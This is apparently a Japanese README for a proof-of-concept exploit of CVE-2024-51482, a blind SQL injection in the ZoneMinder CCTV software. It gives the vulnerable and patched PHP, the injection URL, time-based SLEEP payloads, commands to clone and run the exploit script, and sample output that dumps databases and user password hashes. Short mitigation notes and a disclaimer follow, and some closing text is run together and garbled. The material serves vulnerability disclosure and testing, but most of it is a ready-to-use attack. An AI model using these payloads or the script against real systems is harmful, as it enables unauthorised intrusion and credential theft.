
ZenoMinder ブラインドSQLインジェクション PoC
CVE-2024-51482は、人気のオープンソースCCTV監視ソフトウェアZoneMinderで発見された深刻なブールベースのSQLインジェクション脆弱性です。この欠陥はバージョン1.37.*から1.37.64に影響し、低権限の認証された攻撃者がデータベースサーバー上で任意のSQLコマンドを実行することを可能にします。
| メトリック | 値 |
|---|---|
| CVE ID | CVE-2024-51482 |
| CVSSスコア | 9.9 (緊急) |
| 攻撃ベクトル | ネットワーク |
| 必要な権限 | 低 |
| ユーザー操作 | なし |
| スコープ | 変更あり |
| 影響 | 機密性、完全性、可用性 - 高 |
| パッチ適用バージョン | 1.37.65 |
脆弱性はweb/ajax/event.phpファイル内のremovetag関数に存在します。パラメータtid(タグID)が、適切なサニタイズやパラメータ化なしにSQLクエリに直接連結されています。
脆弱なコード:
case 'removetag':
$tagId = $_REQUEST['tid'];
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId"; // 脆弱!
$rowCount = dbNumRows($sql);
// ...
修正されたコード:
$sql = "SELECT * FROM Events_Tags WHERE TagId = ?";
$rowCount = dbNumRows($sql, $tagId); // パラメータ化クエリ
脆弱なエンドポイントは以下でトリガーされます:
http://target/zm/index.php?view=request&request=event&action=removetag&tid=[注入ポイント]
注入ポイントは応答にクエリ結果を直接返さないため、従来のUNIONベースの攻撃は不可能です。代わりに、ブール条件または時間遅延を通じて情報を推測する必要があります。
私たちのエクスプロイトは、SLEEP()関数を使用した時間ベースの抽出を利用します:
1 AND (SELECT 1 FROM (SELECT SLEEP(2)) as dummy)
この条件が真と評価されると、データベースは2秒間スリープし、HTTP応答に測定可能な遅延が生じます。
ASCII(SUBSTRING()) > MIDを使用して範囲をテストします。SLEEPがトリガーされます。位置1の文字を抽出するペイロード例:
1 AND (SELECT 1 FROM (SELECT SLEEP(2) FROM DUAL WHERE ASCII(SUBSTRING((SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1), 1, 1)) > 100) as dummy)
# リポジトリをクローン
git clone https://github.com/BridgerAlderson/CVE-2024-51482.git
cd CVE-2024-51482
# スクリプトを実行可能に
chmod +x CVE-2024-51482.py
# 必要な依存関係をインストール
pip3 install requests
# ターゲットが脆弱かテスト
python3 CVE-2024-51482.py -i <ターゲットホスト> -u admin -p admin --test
# すべてのデータベースを発見
python3 CVE-2024-51482.py -i <ターゲットホスト> -u admin -p admin --discover
# 特定のデータベースのテーブルを一覧表示
python3 CVE-2024-51482.py -i <ターゲットホスト> -u admin -p admin --tables zm
# 特定のテーブルのカラムを一覧表示
python3 CVE-2024-51482.py -i <ターゲットホスト> -u admin -p admin --columns zm Users
# 特定のカラムからデータをダンプ
python3 CVE-2024-51482.py -i <ターゲットホスト> -u admin -p admin --dump zm Users "Username,Password"
# ユーザーテーブルをダンプ(デフォルト)
python3 CVE-2024-51482.py -i <ターゲットホスト> -u admin -p admin --users
# 詳細な抽出プロセスのデバッグ出力を有効化
python3 CVE-2024-51482.py -i <ターゲットホスト> -u admin -p admin --users --debug
# より信頼性の高い抽出のためにスリープ時間を調整
python3 CVE-2024-51482.py -i <ターゲットホスト> -u admin -p admin --users --sleep 3
# 色付き出力を無効化
python3 CVE-2024-51482.py -i <ターゲットホスト> -u admin -p admin --users --no-color
例1:脆弱性テスト
$ python3 CVE-2024-51482.py -i 192.168.1.100 -u admin -p admin --test
[*] CVE-2024-51482 - ZoneMinder ブラインドSQLインジェクションエクスプロイト
[*] ターゲット: 192.168.1.100
[*] 192.168.1.100 に 'admin' としてログイン中...
[+] ログイン成功
[*] ベースライン応答時間を測定中...
[*] ベースライン中央値: 0.058s
[*] 2秒スリープで脆弱性をテスト中...
[+] ターゲットは脆弱です!
例2:データベース列挙
$ python3 CVE-2024-51482.py -i <ターゲットホスト> -u admin -p admin --discover
[*] CVE-2024-51482 - ZoneMinder ブラインドSQLインジェクションエクスプロイト
[*] ターゲット: <ターゲットホスト>
[*] <ターゲットホスト> に 'admin' としてログイン中...
[+] ログイン成功
[*] ベースライン応答時間を測定中...
[*] ベースライン中央値: 0.065s
[*] 2秒スリープで脆弱性をテスト中...
[+] ターゲットは脆弱です!
[*] データベースを列挙中...
[+] データベースを発見: information_schema
[+] データベースを発見: performance_schema
[+] データベースを発見: zm
[+] 見つかったデータベース:
1. information_schema
2. performance_schema
3. zm
例3:ユーザー認証情報のダンプ
$ python3 CVE-2024-51482.py -i <ターゲットホスト> -u admin -p admin --users
[*] CVE-2024-51482 - ZoneMinder ブラインドSQLインジェクションエクスプロイト
[*] ターゲット: <ターゲットホスト>
[*] <ターゲットホスト> に 'admin' としてログイン中...
[+] ログイン成功
[*] ベースライン応答時間を測定中...
[*] ベースライン中央値: 0.062s
[*] 2秒スリープで脆弱性をテスト中...
[+] ターゲットは脆弱です!
[*] zmデータベースからUsersテーブルをダンプ中...
[*] 'zm.Users'のカラムを列挙中...
[+] カラムを発見: Id
[+] カラムを発見: Username
[+] カラムを発見: Password
[+] カラムを発見: Language
[+] カラムを発見: Enabled
[*] 'zm.Users'からデータをダンプ中...
[+] 行1: {'Username': 'admin', 'Password': '$2y$10$...ハッシュ化...'}
[+] 行2: {'Username': 'operator', 'Password': '$2y$10$...ハッシュ化...'}
[+] 抽出されたユーザー: 2
ユーザー: admin
パスワード: $2y$10$...ハッシュ化...
メール: admin@localhost
有効: 1
ユーザー: operator
パスワード: $2y$10$...ハッシュ化...
メール: operator@localhost
有効: 1
例4:カスタムデータ抽出
# Eventsテーブルから特定のカラムをダンプ
python3 CVE-2024-51482.py -i <ターゲットホスト> -u admin -p admin --dump zm Events "Id,Name,StartTime,EndTime"
SLEEP(2)ペイロードで注入が機能することをテストします。ASCII(SUBSTRING(({query}), {position}, 1)) > {mid} .SLEEPがトリガー → 応答が遅延sudo apt-get update
sudo apt-get install zoneminder
# Apache構成
Require ip 192.168.0.0/16
grep -i "sleep\|union\|select" /var/log/zm/*.log
このツールは教育およびセキュリティテスト目的のみで提供されています。コンピュータシステムの無許可テストは違法です。システムをテストする前に必ず適切な許可を得てください。
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
| メトリック | 値 |
|---|
| 攻撃ベクトル | ネットワーク |
| 攻撃の複雑さ | 低 |
| 必要な権限 | 低 |
| ユーザー操作 | なし |
| スコープ | 変更あり |
| 機密性 | 高 |
| 完全性 | 高 |
| 可用性 | 高 |